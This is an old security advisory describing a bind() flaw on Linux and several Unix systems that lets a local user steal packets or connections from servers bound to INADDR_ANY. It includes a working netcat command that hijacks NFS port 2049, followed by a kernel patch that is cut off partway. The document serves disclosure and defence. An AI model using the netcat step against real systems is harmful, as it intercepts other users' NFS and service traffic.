System Call: bind() Affected Operating System: Linux, SunOS, FreeBSD, BSDI, Ultrix Probably others. Requirement: account on system. Security Compromise: Stealing packets from nfsd, yppasswd, ircd, etc. Credits: *Hobbit* bitblt Aleph One Synopsis: bind() does not properly check to make sure there is not a socket already bound to INADDR_ANY on the same port when binding to a specific address. On most systems, a combination of setting the SO_REUSEADDR socket option, and a call to bind() allows any process to bind to a port to which a previous process has bound width INADDR_ANY. This allows a user to bind to the specific address of a server bound to INADDR_ANY on an unprivileged port, and steal its udp packets/tcp connection. Exploit: Download and compile netcat from ftp://ftp.avian.org/src/hacks/nc100.tgz Make sure an nfs server is running: w00p% netstat -a | grep 2049 udp 0 0 *.2049 *.* LISTEN Run netcat: w00p% nc -v -v -u -s 192.88.209.5 -p 2049 listening on [192.88.209.5] 2049 ... Wait for packets to arrive. Fix: Linux: A patch was been sent to Linus and Alan Cox. It should be included with 1.3.60. My original patch (included bellow) allows for binds from the same uid, as some virtual hosting software like modified httpds, and ftpds, may break otherwise. Alan didnt like this, so all bind to the same port will not be allowed in newer kernels. You should be able to easily adapt this patch or Alan's patch to 1.2.13 without much trouble. Others: Pray to your vendors. --- begin patch --- diff -u --recursive --new-file linux-1.3.57/net/ipv4/af_inet.c linux/net/ipv4/af_inet.c --- linux-1.3.57/net/ipv4/af_inet.c Mon Dec 25 20:03:01 1995 +++ linux/net/ipv4/af_inet.c Tue Jan 16 19:46:28 1996 @@ -46,6 +46,8 @@ * Germano Caronni : Assorted small races. * Alan Cox : sendmsg/recvmsg basic support. * Alan Cox : Only sendmsg/recvmsg now supported. + * Aleph One : Rogue processes could steal packets + * from processes bound to INADDR_ANY. * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License @@ -899,6 +901,12 @@ if (sk2->num != snum) continue; /* more than one */ + if ((sk2->rcv_saddr == 0 || sk->rcv_saddr == 0) && + current->euid != sk2->socket->inode->i_uid) + { + sti(); + return(-EADDRINUSE); + } if (sk2->rcv_saddr != sk->rcv_saddr) continue; /* socket per slot ! -FB */ if (!sk2->reuse || sk2->state==TCP_LISTEN)